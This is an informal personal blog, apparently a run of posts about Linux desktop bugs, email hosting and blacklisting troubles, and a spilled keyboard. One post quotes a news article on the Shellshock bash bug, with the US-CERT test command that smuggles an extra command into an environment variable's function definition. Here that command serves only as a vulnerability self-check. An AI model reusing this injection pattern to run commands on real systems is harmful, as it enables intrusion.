what i learned was a bunch of recycled stuff from my already ample knowledge of microslut word and excel, with a bunch of “hypercard-like” stuff which i sort of vaguely understood (but nobody i knew used hypercard for anything, so i never really knew what i had missed until years later), and, at the same time i was doing this training, i was helping this… guy… clean out his house, because he was going through a divorce, or some awful shit like that, and he, basically, had to move EVERYTHING that was “his”, out of one house and into another, that was a few houses down the street…

which is where i learned that his “rich” persona was heavily financed by several HUNDRED overdrawn credit cards — he had been using one credit card to pay off another credit card, and when he ran out of credit cards, he would just start up a new one, and use it to pay off the previous ones… FOR YEARS… — at which point i decided that working for this guy might not be such a good idea, if i wanted to get paid.

quite apart from the fact that working for him was REALLY annoying…

so, ultimately, i spent a week learning really complex software that i never got to use for anything, and that was it, until i got my job at software.com, testing email servers, in 2001.

and, for all of my work with databases at software.com/openwave, i still don’t have a really solid grasp of what they are… where they “live”, what they do, how they work… anything… all i know is that, under the right set of circumstances, you can give “commands” to a database, and it will perform certain functions with a variety of different “objects”, the outcomes of which can be used in a multitude of different ways, depending on what is contained in your database.

i get the impression that databases are a lot like the world wide web, in that they both have a lot of objects (web sites) that are linked together in a somewhat-haphazard, but definitely organised way.

so, you can imagine that it was something of a surprise when, the other morning, i woke up, checked my email, and discovered two somewhat alarming notices. the first was warning me that i had used up 90% of my disk space on my server, and the other was warning me that a “table” on my main database was malfunctioning… or something… and collecting 251 GB worth of data… which, somehow, was NOT showing up in my cPanel, which says “Disk Usage 18.43 GB / 292.97 GB”…

and, of course, it happened on a sunday, when nobody’s in the office, and on mothers day, when even fewer people are in the office, and during a PANDEMIC… 😒

so, first thing this morning, after waking up to a broken heat pump, and a wife who wrenched her back, i wrote to my web designer, who said, oh yeah, we’ve seen this kind of thing before, it’ll cost between $200 and $500 to fix it…

and I DON’T EVEN KNOW WHAT’S WRONG… 😖

my wonderful pet, frank zappa the cat

my wonderful pet, Frank Zappa, the cat, innocently playing with a cat toy in a patch of sunlight, like a good kitty...
my wonderful pet, Frank Zappa, the cat, innocently playing with a cat toy in a patch of sunlight, like a good kitty…
my wonderful pet, Frank Zappa, the cat, honoured my presence (and the fact that i had just fed him) yesterday, by waiting until i had a full bottle of beer on my desk, and then jumping into my lap and doing the happy-cat-dance, which involves swirling around and waving his tail in such a way that it impacts the bottle of beer on the desk, spilling the contents into my keyboard.

😒

because of the fact that i have worked in several companies that actually, physically MADE keyboards — they really do wash partially finished keyboards in a household dishwasher before assembly — i wasn’t as upset as i could have been, but, nevertheless, i spent the entire rest of the evening taking my keyboard apart, cleaning the beer (and assorted dust, feathers, cat hair and other detritus) out of it, and re-assembling it…

only to discover that only half of the keys actually work. and not in a normal “right half works, left half doesn’t” way, but in a more random “half the keys in this line sometimes work and sometimes don’t” way, which indicates that some moisture probably got inside the four or five layers of waterproof linings — seriously, keyboards, these days, are practically impervious to spills… not like when i was a kid… — either that, or there was something that didn’t want to get bent, that got bent in the process of disassembling the keyboard: i tried to be careful and not bend any of the parts that looked like they might be upset if they got bent, but i may have bent them, anyway, without meaning to.

in any event, i have an alternate keyboard, just for such emergencies, which is the same model, but different colour keys. i have occasionally ransacked the alternate keyboard for spare parts, like when my “B” key’s spring broke, and the F2 and F3 keys died, so it doesn’t get used for anything, anyway… so i decided to make a frankenkeyboard…

in honour of my wonderful pet, Frank Zappa the cat.

frankenkeyboard
frankenkeyboard

grr update 2

akregator has taken up the task of crashing about half the time, again. i guess it just needed some time to settle, after having the debug packages installed.

i reported the bug. it was a duplicate of bug #382575, which is actually a bug with Qt (which i always thought stood for “QuickTime”, but, apparently, i’m wrong), and it was originally reported in july of 2017. it will be fixed… eventually… 😒

grr update

i installed the debugging packages for both kontact and dolphin, thinking that would help me get a better idea of what’s going on.

it’s a little difficult with dolphin, because it doesn’t actually crash, it just gives me an “unknown error” message.

with kontact/akregator, it made a considerable difference, but i’m not sure how much it helps: now, instead of crashing about half the time when i middle-click on a link (which would produce the backtrace for which i installed the debugging packages), it doesn’t crash at all… it still does nothing when i middle-click on a link — now 100% of the time — and it still works exactly as advertised when i right-click and choose “open link in external browser”… 😠

ETA: this is the primary reason why, if there was ANY other alternative, i would use that instead of linux: i looked at the URI in dolphin, after it gave me the weird “unknown error”, and it said “smb://@/” which i thought looked kind of odd… so i put the username for the drive to the left of the @ sign, and the name of the drive to the right of the @ sign…

and it worked. 😕

no clue how it got that way, no clue why it worked before, with no username in the picture, and doesn’t now, no clue what the error messages mean, i have absolutely NO CLUE why it works now and didn’t before…

but it does. 😕

grr…

i’m still having random annoying problems with bionic beaver:

when i start it up in the morning, it loads my desktop wallpaper image with a “blur” in the background, which is not what i want. i have to right-click, choose “Configure desktop”, choose “blur”, hit “apply”, choose “Solid color” and hit “apply” before it correctly shows a solid colour background around my wallpaper images. 😕

sometimes, randomly, the “Device Notifier” shows me the three USB hard disks i have inserted, and mounted, even when i am doing nothing that involves any of them. i don’t know why.

akregator randomly crashes when i try to open a link with the middle mouse button (which is normally set to “open in external browser”). it works okay if i right-click and choose “open in external browser” from the context menu, but if i middle-click, sometimes nothing happens, and sometimes akregator crashes. also, it doesn’t give me enough information in the trace to make the bug reports any good. i wrote to the KDE-PIM users list, but not with this problem, because i hadn’t figured out exacly what happened at that time. now i get the very strong impression that the response will be to upgrade to a more recent version, but that version hasn’t been added to the upgrades for bionic yet, so i’m kinda stuck.

dolphin allows me to make icons for places i go to regularly, and organise them in the left hand side of the window. i set up some network folders, by selecting “Network”, then selecting “Add Network Folder” and setting up a micro$not windows folder at smb://salamandircloud.local. it worked fine for about 3 days, but now, when i select any of the network folders at salamandircloud.local, it tells me

Internal Error
Please send a full bug report at http://bugs.kde.org
Unknown error condition in stat: Unknown error 8216

only sometimes, instead of “Unknown error 8216” it says “Unknown error” or “File exists” or “Software caused connection abort”. i went to http://bugs.kde.org and discovered a duplicate bug that says it’s “solved”, but it doesn’t give any clear indication of how it was solved. the end result is that now i no longer have access to my cloud drive from my linux machine. 👎

because of the fact that i can’t access salamandirCloud, i can’t access my music from my linux machine, but even when i could access salamandirCloud, amarok couldn’t access my music files. apparently it wants them on a local drive… and, because of the fact that, when i could access my cloud drive, it was through a SMB connection, i can’t use the standard NFS to automatically mount the drive at startup. i wrote to the amarok users list, but nobody’s home there, and i don’t expect an answer any time soon. 😠

i keep going back to the advice i was offered by Ralf Mardorf on the debian users list, back in 2012, when i was playing around with (and failing to install) a debian live disk. he said

Because I needed new hardware I couldn’t keep a stable Linux install that satisfied my needs.

Never change a winning team!

If there’s no need to update, keep a stable install, make backups and to test newer Linux versions at least have a dual-boot.

If I could use my old stable install, I still would use it. In your case I would reinstall the old Ubuntu that fit to your needs and I would install a second Linux and try to get it working, when ever I would have time to do it.

You know it yourself, I don’t need to write this words to you ;).

which, to me, means “IF IT AIN’T BROKE, DON’T FIX IT!”

except, of course, trusty was broke, it was just broke in different ways than bionic is. now all i gotta do is figure out what the fixes are. 😖

if it ain’t broke, don’t fix it

a wise old linux guru told me this, a few years ago, and i’ve found myself smack in the middle of what happens when you follow that maxim… and it doesn’t feel entirely comfortable, at this point.

i have been happily running kubuntu trusty since 2014, which means that, now, there are TWO LTS releases to bring me up to date… Bionic Beaver, and the interim release, Xenial Xerus, which had some notable problems that were notable enough that i decided that… IF IT AIN’T BROKE, DON’T FIX IT.

now, i’ve actually heard some good things about the new LTS release, and, strangely enough, Amarok broke about two weeks ago (and the amarok user list has gone quiet the past few months, which makes me wonder who to contact), so i’ve been having to resort to qmmp to play music… so i decided to upgrade.

i’ve had some AWFUL experiences upgrading operating systems, and linux is no exception. the last time i upgraded linux, it took me three days to get my computer back. in an attempt to avoid that possibility this time, i have finished uploading my ENTIRE /home directory to the cloud, and am in the process of uploading my ENTIRE music collection to the cloud.

then, on the advice of the linux gurus over at Kubuntu Forums (who have saved my ass more than once), i’m going to go out and get a 2TB SSD on which to install bionic.

the only problem is that i still am not completely sure that my email is going to transfer, because i know that kontact was one of the notable problems i read about with xenial that made me want to avoid upgrading… and i’m not sure the standard “back up everything including the hidden directories from /home” is going to work this time, because i’ve heard that bionic uses something other than akonadi, which was, apparently, the source of the problems with xenial… which would mean that potentially i could lose 7 years worth of email and contact information. 😒

so, we’ll just have to see how it goes… ๐Ÿ˜

and so, once again…

and so, once again, the battle of (someone else’s) computer has come to an inconclusive end.

i still have one open ticket with the VPN folks: they updated the VPN software for the tablet, which means that now it’ll connect after i reboot it, but if it comes disconnected for some reason, the only way to get it to reconnect is to reboot the entire tablet… which, while better than not being able to connect at all, is still a major hassle. i’m not holding my breath that it’s going to get fixed soon, as my current tablet can’t be upgraded beyond a version that is three full versions behind the current one… ๐Ÿ˜

my email works — or, rather, isn’t giving me timeout errors every time i send email. monique’s email is working again, although she’s lost her address book and her signature files, and the two mailing lists of which i am in charge, seem to be working, with third-party verification. i’m also paying about twice as much as i was with the old host provider, but, with the new host provider, i’m actually an “official” reseller, which means that, now, i have access to WHM, which i never have before… but i’m not sure, at this point, whether or not it’s a “good” thing. at this point, i have updated all of my domains’ MX records to the new host provider (something i was never able to do before), without knowing for sure whether or not i have done the right thing. at this point, two days later, it still works as far as i have been able to tell, nothing has broken as far as i can tell, and nobody has complained to me that their shit isn’t working, so i’m nominally calling it complete, but i wish there were some way that i could be sure…

raghr! 😠

i got back from OCF to discover that the email problem i had when i left was still there, and EZPZ had closed the ticket, because i wasn’t there to egg them on.

it’s still broken, so i decided to switch host providers… AGAIN! ๐Ÿ˜ก

some day, everything will just WORK, and there won’t have to be providers that don’t know how to fix things… ๐Ÿ˜

i’m really glad…

the computer industry has been a-twitter for the past few days, concerning a zero-day “bug” in micro$lop word, which gives an attacker full execution control of the victim’s machine — a Very Bad Thing®.

this reminds me of a couple of things that i experienced, more-or-less first-hand, while i was working at micro$lop, and is the PRIMARY REASON why i’m really glad i don’t run machines with their software on them.

there’s this, which outlines what the “bug” is, and how it allows an attacker to take control of a victim’s machine (i put the word “bug” in quotation marks because bugs are usually things that appear in the code by mistake, but it is my impression that micro$lop put this in deliberately, without realising the potential damage it could do)… which brings up the fact that they have known, particularly, about security problems with OLE (which went through a stage where they were referring to it as “ActiveX”), at least since my friend, and computer-god fred debuted The Exploder Control in 1995, which did a clean shut-down of any machine unfortunate enough to be running Windows95 — PLEASE NOTE: the Exploder Control is not harmful, and will not run correctly unless you’re running Windows95 and Internet Explorer version 3, which, by this time, presumably, you’re not. fred’s premise was, and still is, that if you have a method of excersising THAT MUCH control over a machine, it better well be FULLY AND COMPLETELY SECURE, otherwise people WILL take advantage of it.

i worked at micro$lop when the first Word Concept Virus was discovered. it was unique (at the time) because it allowed an attacker to infect a victim’s machine over email, without actually having to have physical contact with the target machine. it worked by utilising micro$lop word’s “normal.dot” template, and required the victim to have macros enabled by default. the new, most recent word problem doesn’t require macros to be enabled, and doesn’t work if the application is running in “Protected View”. so, the solution micro$lop has come up with is to recommend that you run word in “Protected View” in order to avoid this particular vulnerability.

it is significant, to me, that the primary reason we have things like active antivirus software on our computers today is because of actions taken by the micro$lop corporation when i worked there. when i was working there, they were the largest manufacturer of computer software in the world.

and it reminds me of the solution micro$lop came up with to avoid another “bug” in another one of their “excellent” programs, internet explorer: version 3 exhibited a flaw in the way that it displays URIs in the address bar, and by opening a specially crafted URI an attacker could open a page that appears to be from a different domain from the current location. the solution? “Do not click any hyperlinks that you do not trust. Type them into the address bar yourself“… despite the fact that one of the features of all web browsers is that you can get from one source of information to the next, easily, without having to type in long, unintelligible strings of code.

Rule of thumb — Every time Microsoft uses the word “smart,” be on the lookout for something dumb.
     — John Walker

A little detective work revealed that, as is usually the case when you encounter something shoddy in the vicinity of a computer, Microsoft incompetence and gratuitous incompatibility were to blame.
     — John Walker

grr…

i was going over some updates with the new web site designer. because of a couple of component updates, some of my templates were deprecated and needed to be updated. i figured i could probably update them, since all that was needed was for me to determine which templates needed to be updated, download the updates, FTP to the site and replace the old ones with the new ones. in the process of finding out which of the templates needed to be updated, i came across a random, and somewhat unexpected error with my SSL certificate. the web designer said the host provider needed to fix it. the host provider said that the web designer needed to fix it.

๐Ÿ˜ก ‽‽‽‽

it was getting really late last night, when the host provider said that the web designer needed to fix it, and he wasn’t going to be available until tomorrow. i told the geek at the host provider that it sounded to me like it was a problem that the host provider was supposed to fix, and the geek proceded to break it even more. i was blocked out of my own site, temporarily, and when i was able to log in again, instead of being able to log out, i was redirected to a page that told me i was temporarily blocked from access… regardless of which browser, or which platform i used, i was able to login successfully, but was unable to log out.

๐Ÿ˜ก ‽ ๐Ÿ˜ก ‽ ๐Ÿ˜ก ‽ ๐Ÿ˜ก ‽

today, i contacted the web site designer. i agreed to give him $150, and he agreed to fix my site, and update it with the right templates.

grr… 😕

god damn it!!!

i have an ipad, so i can keep farcebook off of my real computers.

i don’t know whether it’s the ipad itself, or whether it is farcebook, but i’m getting really pissed off at the behaviour i’m seeing:

1) it randomly crashes: the screen freezes, then goes black, and then it gives me the “desktop” screen, and then, when i restart the farcebook application, it automatically goes to my “News Feed” rather than to the “Most Recent” page, where i normally read stuff. this happens a lot more frequently when i am reading a “link” that someone posted, but it also happens when i am simply reading farcebook.

2) it takes FOR-FUCKING-EVER to load a “link” from the farcebook application, and even when it says it’s finished loading, frequently it freezes until the entire page actually loads, which is sometimes as much as two or three minutes later. this is a lot more common on links which contain videos, although YouTube links usually load fairly quickly, which makes me suspect that there’s something else that is gobbling up bandwidth.

3) in the farcebook application itself, it frequently freezes for a couple of minutes, and then goes back to “normal” behaviour.

4) frequently, when i go to a “link” in the farcebook application, it loads completely, and then the screen gets a grey tinge to it, and the entire page is overlayed with an advertisement of some kind, and unless i touch EXACTLY the right place, which changes semi-regularly, instead of getting to read the page that i intended to, i have to wait for farcebook to put another, complete, entirely unrelated page, the advertisement, on the screen, which frequently takes up to five minutes, before i can go “back” to the page i was intending to read.

4½) a related problem is that, frequently, when i touch a place that should be a link of some kind (like a URI) it doesn’t do anything at all, and other times, when i am “scrolling”, it interprets my “touch” as a “click” and loads something in which i wasn’t interested, and then gives me a lot of difficulties (involving one or more of the previously enumerated items) getting back to where i was.

to make matters worse, the specific problems outlined above don’t happen individually: they frequently come in batches of two, or three, and, frequently all four of them at the same time.

as i said, i’m not sure whether it is due to bugs in the farcebook application, or bugs in the hardware, but it’s getting to the point where i feel like throwing the device against a wall, or out the window or something.

i’m fairly sure that this is NOT the way it is supposed to work. 😠

told ya so… 8P

told ya so… 8P

it doesn’t completely work the way i want it to, yet, but it was 2% working yesterday, and today it’s back to 95%

while i’ve got my email back, it’s not completely working yet, and i’m still having to deal with peculiarities with which i’m not exactly familiar. they’re peculiar enough that, it’s my professional opinion that they may be caused by demons, and may work themself out on their own eventually… one of my email accounts apparently uses a password i don’t remember. gramps works, but it still thinks the media is on the non-existent disk… i still don’t have the fonts straightened out…

but it’s one hell of a lot closer than it was yesterday, when i didn’t have the task bar icons that i usually have, and the K-menu icons that i usually have, and my email didn’t work… and i didn’t even have to convince it to mount the big hard disk, which wasn’t even showing up as being capable of mounting until i jumped through a 3-step hoop in order to mount it, yesterday…

it’s fixed enough that i am not even worried about going to bellingharm tomorrow, but i probably won’t spend the night.

UPDATE 10:30 pm i got email working. it was a combination of trying things in a new way, and demons in the pipes. i’ve even got my sigrot working, although i don’t know whether cron is taking care of running it every 5 minutes. also i got dropbox working again. now all i gotta do is figure out where my fonts went to…

snrg

for a couple of years now the fan in my computer has been making an evil buzzing noise when i first turn on the machine. i discovered that if i take a bottle of canned air and squirt it into the fan, it stops… after a while…

fast forward a couple of years, and multiple cases of canned air from costco (i.e. at least 10), and it’s actually been taking longer and longer to get the fan to quit buzzing, and the buzzing has been getting more loud and evil sounding, especially since i re-oriented the box, so i finally decided to open it up and see if i could fix it.

i found a lot of dust… which i cleaned out outside, because i’ve had previous experience with trying to clean dust out of a computer while inside, and it results in making everything taste like the inside of a computer for a couple of weeks… ๐Ÿ˜›

but it didn’t stop the buzzing, so i broke down and bought a new fan.

it cost me $9.00. ๐Ÿ˜

i don’t know why i don’t just put my computer in a place where it’s relatively easy to disconnect and clean, apart from general laziness and lack of caring, and i wonder about the habit i have of stacking stuff on top of the computer, and/or putting it in obscure, difficult to remove places even more when the solution to my problem ALL ALONG cost me less than $10.00… ๐Ÿ˜

i’ve been working in the computer industry long enough that i should have known it was going to turn out that way… ๐Ÿ˜

SHELLSHOCK UPDATE

Shellshock: ‘Larger scale attack’ on its way, warn securo-bods

Apple FINALLY patches the ‘don’t worry’ Bash Shellshock vuln

Apple Releases Patches for Shellshock Bug


Every Mac Is Vulnerable to the Shellshock Bash Exploit: Here’s How to Patch OS X
— i upgraded from v.3.2.51(1) to v.3.2.53(1) according to their directions for pre-mavericks computers, and, according to the test i posted last week the system is no longer “vulnerable”, but, because of the fact that it doesn’t actually give a response other than “this is a test”, i can’t tell for sure whether or not they’ve actually patched shellshock, or whether they have just turned off the error message… it would be really nice if i could just upgrade to the current GNU release, which is v.4.3… this is why i am no longer a mac-head… ๐Ÿ˜

Apple patches "Shellshock" Bash bug in OS X 10.9, 10.8, and 10.7

SHELLSHOCK UPDATE

Firms BASH Bash bug with new round of Shellshock patches

Cisco splats Bash bug in busy swatting season

i’ve run three rounds of security updates in the past three days, and bash was updated in every one of ’em… eventually they’re gonna fix it for real… maybe i’ll just revert to using csh… or zsh (which was written by paul falstad, my former manager and coworker at openwave) ๐Ÿ˜

SHELLSHOCK UPDATE

UPDATE: Bash Vulnerability AKA SHELLSHOCK

The ‘Shellshock’ Bash vulnerability and what it means for OS X

Apple: Most OS X users safe from ‘Shellshock’ exploit, patch coming quickly for advanced Unix users — which, of course, is a blatant falsehood… all macs are as much at risk as -x was, and -x had a patch yesterday… this is why i am no longer a mac-head… ๐Ÿ˜

Apple working on “Shellshock” fix, says most users not at risk [Updated] — which includes the following information:

Mac OS X uses version 3.2.51.(1) of GNU bash, released in 2007; the current GNU release of the shell is bash 4.3. However, the current version is released under the GNU Public License version 3 (GPLv3). Apple has avoided bundling GPLv3-licensed software because of its stricter license terms, even dropping the open-source Windows networking service Samba from OS X server in 2011 because Samba had shifted to a GPLv3 license. Therefore, although patches for the vulnerability have now been pushed out for most open-source operating systems, Apple executives may feel they have to have their own developers make modifications to the bash code.

this is the explanation why i haven’t been able to get SAMBA to work on my mac… grumble, mutter… ๐Ÿ˜

Still more vulnerabilities in bash? Shellshock becomes whack-a-mole

shellshock update: linux has been patched, mac not so much…

‘Shellshock’ Bug Spells Trouble for Web Security
140925
by Brian Krebs

The bug is being compared to the recent Heartbleed vulnerability because of its ubiquity and sheer potential for causing havoc on Internet-connected systems โ€” particularly Web sites. Worse yet, experts say the official patch for the security hole is incomplete and could still let attackers seize control over vulnerable systems.

The problem resides with a weakness in the GNU Bourne Again Shell (Bash), the text-based, command-line utility on multiple Linux and Unix operating systems. Researchers discovered that if Bash is set up to be the default command line utility on these systems, it opens those systems up to specially crafted remote attacks via a range of network tools that rely on it to execute scripts, from telnet and secure shell (SSH) sessions to Web requests.

According to several security firms, attackers are already probing systems for the weakness, and that at least two computer worms are actively exploiting the flaw to install malware. Jamie Blasco, labs director at AlienVault, has been running a honeypot on the vulnerability since yesterday to emulate a vulnerable system.

“With the honeypot, we found several machines trying to exploit the Bash vulnerability,” Blasco said. “The majority of them are only probing to check if systems are vulnerable. On the other hand, we found two worms that are actively exploiting the vulnerability and installing a piece of malware on the system. This malware turns the systems into bots that connect to a C&C server where the attackers can send commands, and we have seen the main purpose of the bots is to perform distributed denial of service attacks.”

The vulnerability does not impact Microsoft Windows users (ed. for a change), but there are patches available for Linux and Unix systems. In addition, Mac users are likely vulnerable, although there is no official patch for this flaw from Apple yet. I’ll update this post if we see any patches from Apple.

The U.S.-CERT’s advisory includes a simple command line script that Mac users can run to test for the vulnerability. To check your system from a command line, type or cut and paste this text:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If the system is vulnerable, the output will be:

vulnerable
 this is a test

An unaffected (or patched) system will output:

 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'
 this is a test

US-CERT has a list of operating systems that are vulnerable. Red Hat and several other Linux distributions have released fixes for the bug, but according to US-CERT the patch has an issue that prevents it from fully addressing the problem.

The Shellshock bug is being compared to Heartbleed because it affects so many systems; determining which are vulnerable and developing and deploying fixes to them is likely to take time. However, unlike Heartbleed, which only allows attackers to read sensitive information from vulnerable Web servers, Shellshock potentially lets attackers take control over exposed systems.

“This is going to be one that’s with us for a long time, because it’s going to be in a lot of embedded systems that won’t get updated for a long time,” said Nicholas Weaver, a researcher at the International Computer Science Institute (ICSI) and at the University California, Berkeley. “The target computer has to be accessible, but there are a lot of ways that this turns accessibility into full local code execution. For example, could easily write a scanner that would basically scan every Web site on the planet for vulnerable (Web) pages.”

Stay tuned. This one could get interesting very soon.

blood pressure through the roof… 8/

i installed the daily security updates, and it removed my ability to send and receive email. ๐Ÿ˜ก

it’s getting towards time for me to re-evaluate my dependence on computers.

ETA: so i decided that it was time to upgrade distributions, because precise is coming up against its EOL in a year or so. i upgraded to trusty, and things got distinctly WORSE: i am now looking at a “system loading” screen that has had a “progress” meter (which is just an animated graphic that has 5 dots that go from one colour to a different colour, and back, one dot at a time, to show you that “something’s happening”) for about half an hour with no change…

i posted once at kubuntu forums but there has been no response yet… ๐Ÿ˜

i wonder how long it’s gonna take this time? ๐Ÿ˜ก if it’s anything like the last couple of times, it could take as much as a week to get things back to “normal” again… ๐Ÿ˜

smb

i figured out stumbled across the method of making my mac accessible to my linux box that doesn’t include sftp, but does include smb. theoretically, i’ve got smb running on my linux box, as well (thus the ability to access my mac), but for some reason, my linux box doesn’t show up on my mac.

it’s nothing new. my mac has always shown up on my linux box, and my linux box has never shown up on my mac. the fact that i stumbled across the method of making my mac visible on my linux box indicates to me that it should be fairly easy to make the linux box visible from the mac…

but, so far, it hasn’t happened yet… ๐Ÿ˜

why is this happening?

several of my web hosting clients have been having trouble with their email not getting through, recently. i went through a frighteningly similar situation last year, which ended up with my moving my web sites, lock stock and CGI scripts, to another server with a different IP address… same host provider, just a different IP address. the reason was that, for some unexplained reason, the IP address kept getting listed in the CBL… which means that someone using that shared-hosting machine (not me, or any of my clients) was using it to sent spam.

the same thing has happened again. i complained, they suspended someone, it didn’t fix the problem, they told me that it takes time to propagate, i waited, it didn’t fix the problem, i complained again, they told me that it was an exim misconfiguration, that didn’t fix the problem, i complained again, they told me that they had written to the CBL to get answers…

well, guess what?

copied from the CBL home page: “There is no supporting data or “evidence” file available for any given listing, and no mechanism to ask why any given listing took place.”

so i wrote back to them, and said “whatever is causing the IP to be relisted hasn’t gone away, and won’t go away with you guys waiting for a response that won’t come.”

whereupon they closed the ticket with no further response.

maybe it’s time to start looking for a cheap VPS… ๐Ÿ˜

the most recent iteration of the battle of the computer is winding down…

i got my dropbox fixed. i still don’t know why or how, but at least it’s working. ๐Ÿ˜

i just discovered that the issue with my “Recently Used Documents” menu is due to a bug in KDE4.11.0 which is why they’ve already released KDE4.11.1, but that doesn’t come until later… because apparently the KDE for kubuntu 12.04 is 4.8.5, which may mean that there’s something else bizarre going on… means that i have kubuntu backports ppa enabled (because of a problem that i was having with amarok, about a year ago) in my repositories list, and i’m not going to turn them off now… ๐Ÿ˜

there’s a whole bunch of “new” information, via hobbit, regarding the linux compose key, which while not “new” to the world in general, is very new and interesting to me… and with a minimum amount of twangling, i got it set up. unfortunately, it doesn’t work when publishing to the web (which is not particuarly surprising), so a demonstration of it on this page would be extremely disappointing. ๐Ÿ˜‰

battle

so, the battle of the computer is largely over, but there are a few weird things, that i suspect are going to be more and more annoying as time goes on and they don’t get fixed, but at the same time, they are practically impossible to describe, and i don’t know how i’m ever going to fix them if i can’t even describe them reliably.

there have been some peculiarities that i have been able to adjust: my default browser changed from firefox to rekonq in the System Settings, but nowhere else, and it went back to doing what it was supposed to once i changed it, but i had to check two or three other places, because it wasn’t changed in my email client or ANY of my browsers.

also, immediately after i recovered from “the disaster”, i noticed that some, but, curiously, not all of my email filters weren’t working. when i went into the “Configure Filters” dialogue, all of the filters were there, but they didn’t do anything. once i re-established the things that each of them were supposed to do, they all worked the way they were supposed to.

however, there are some things that worked fine before, are non-functional now, and i don’t have the first clue how to fix them:

before the disaster, when i opened a URL from my email client, it immediately switched to the browser, and proceded to open the URL without making any sound. after the disaster, it opens the URL in a new browser window, but it doesn’t immediately switch to it, and sometimes (but not always) it makes a “swishyswishy” sound that i haven’t been able to figure out where it’s coming from, and (naturally) haven’t been able to figure out how to turn it off.

before my disaster, i had the ability to change my volume by pushing buttons on my keyboard, but since the disaster, my sound system settings are completely wonky, the buttons on the keyboard no longer work, and i can’t figure out how to make them right: instead of having two channels in my “Volume” settings (in the systray), one of which controled the volume for everything, i have three, or four if there’s a youtube video in my browser, and one channel controls the settings for the system bell, another channel controls the volume in amarok, and one channel controls the volume in the youtube video… i believe that, when i’m using something like VLC Media Player, i can show another channel in my mixer.

task-barthere’s one, in particular, that i already find fairly annoying: i have a “K” menu (rather like the “Start” menu in windoesn’t, but not so confusing) in my task bar, which has a “Recently Used” tab – recently used
but the fact is the recently used documents part of the tab hasn’t updated since i recovered my data… the recently used applications seems to work as expected, but the recently used documents hasn’t updated at all since i recovered my data.

i have a “0 B Removable Media” that appears to be a floppy drive in my devices menu, but i don’t have a floppy drive at all… i seem to recall being able to turn drives that i don’t have off in the devices menu, but there’s nothing in System Settings -> Removable Devices that does anything. also, my secondary internal drive, which should mount automatically at boot time, doesn’t actually mount until i click on it, at which point it demands a password before i can access any of its contents.

my “Dropbox” folder is no longer linked, and i can’t figure out how to re-link it. it was “moved” when it went from /media/home/salamandir/Dropbox to /media/salamandir/home/salamandir/Dropbox and when i finally figured out how to get it back to /media/home/salamandir/Dropbox it still told me that my dropbox folder wasn’t installed in the correct place, and instructed me to reinstall dropbox, but when i did, it didn’t do any good, so i “unlinked” my linux box from my dropbox account, and now i can’t figure out how to re-link it… BUT, for some unknown reason, my “Fremont Philharmonic” dropbox is still working the way i expect it to… which is REALLY weird…

sigh…

i’m installing clean. it’s too much of a hassle, and i’m too old and tired to be FUCKING around with a machine that doesn’t do what i want.

BUT unlike last time, i only lost my address book… and all of my old emails back to 2009 (which is the last time it happened). and, because of the fact that i backed up all of my email directories, i MAY not have even lost them, but if i did, so be it. it wouldn’t be the first time.

bother

i need the 3rd trombone part for a march that we are playing in the Ballard Sedentary Sousa Band. i have searched all over internet for it, and finally i found a place that offers it for sale — by itself (i.e. i don’t have to buy the entire score) — but they only offer it through “digital print”, which is to say, i pay money, and they offer me a way to display it on my computer screen (i.e. “digital”) and supposedly print it once from my screen… which is fine, i can display it on my screen without a problem. the problem is when i come to print it, the software downloads, but then it flashes a message that says “There has been a download error. Do you wish to try again?” and doesn’t get any further than that. ๐Ÿ˜ so i call them up, and tell them what browser i’m using and they recommend that i use internet exploder

hah… hah… ๐Ÿ˜

apparently their software that prints from an adobe acrobat file is ONLY usable on “windows and mac OS”…

cool, i have a machine that runs mac os… unfortunately their software doesn’t run on that, either. so i try a windows VMWare box on my wife’s computer (which is a mac)… with internet exploder no less, but it doesn’t work there, either… ๐Ÿ˜

so i call my friend rick, who owns an actual windows machine, with internet exploder, and ask him to see if he can get the software to print. after some seemingly encouraging preliminary tries with the software, i even went and picked him up and brought him back to my place so that we could use my printer, because he doesn’t have one… however, it turns out that it doesn’t work on a dedicated machine running exactly the right software, either.

when i talked to the guy on the telephone, he said that “digital print is a new application that they’re trying out” and that “it doesn’t work for everyone”… at this point, i would be surprised if it worked reliably for anyone, but that’s also taking into account the fact that, when i was a software tester, all i had to do was be in the same room with a test machine in order to make it malfunction in some unexpected and entirely un-reproducible way…

at the same time, i understand that sousa was one of the founders of ASCAP, and that he was one of the progenitors of what we now know as copyright law, but at the same time, it was my impression that most of, if not all of sousa’s music was in the public domain, so i don’t really understand why this company can get away with being the ONLY source of this particular 3rd trombone part… and also i really wonder why they can ONLY sell me a “digital print” version, but they can’t send me a printed copy or a .pdf file that i can print outside of their defective web-based program.


i looked online to find out if there’s anybody locally that carries acqua della madonna, which made the extra fancy blue bottle out of which i made a water pipe. apparently, “THIS BRAND HAS BEEN DISCONTINUED“. the company that makes it, Acetosella, has a web site that is entirely made out of shockwave/flash applications, and when you click their “Acqua della Madonna” link, they come back with “Pagina in costruzione”… which, considering that the bottle i’ve got seems to indicate that it was filled in 1999, makes it very likely that they no longer make acqua della madonna…

to me this is an indication of one of two possibilities: the first possibility is that i keep the bong water pipe for myself (which is extremely likely, since it is a very cute bottle-bong)… the second possibility is that i sell it for $75 pr more, because it is no longer made… which would be nice, but i don’t expect it to happen.

HA HA!!

HAH HAH!when i was in training to be a tech support drone for microsoft, they told us that “in 10 years, the default format for all web documents will be the microsoft word .doc format”…

WRONG!!

it is now more than 10 years later (actually, it is almost 20 years later), and Google kills support for old MS file formats in Google Apps…

i knew when i heard it that micro-slop was having a pipe-dream, believing that their proprietary document format was going to become a public standard…

KILL ALL SPAMMERS!!!

so i think i may have discovered at least part of the reason why mail has been bouncing whenever someone sends a message to the band mailing list.

CBL has apparently locked on to the sousa band IP address (which is on a shared host)…

this is a disadvantage to operating on a shared host. the powers that be are looking into it, and i hope that they are actually able to catch whatever spammer or enabler may exist on our IP address…

and when they do catch whoever it is, i hope they ROAST HIS BALLS OVER A SLOW FIRE!!! ๐Ÿ˜ก

hoorumph

yay! we’re going to be busking at the ballard sunday market tomorrow! ๐Ÿ™‚

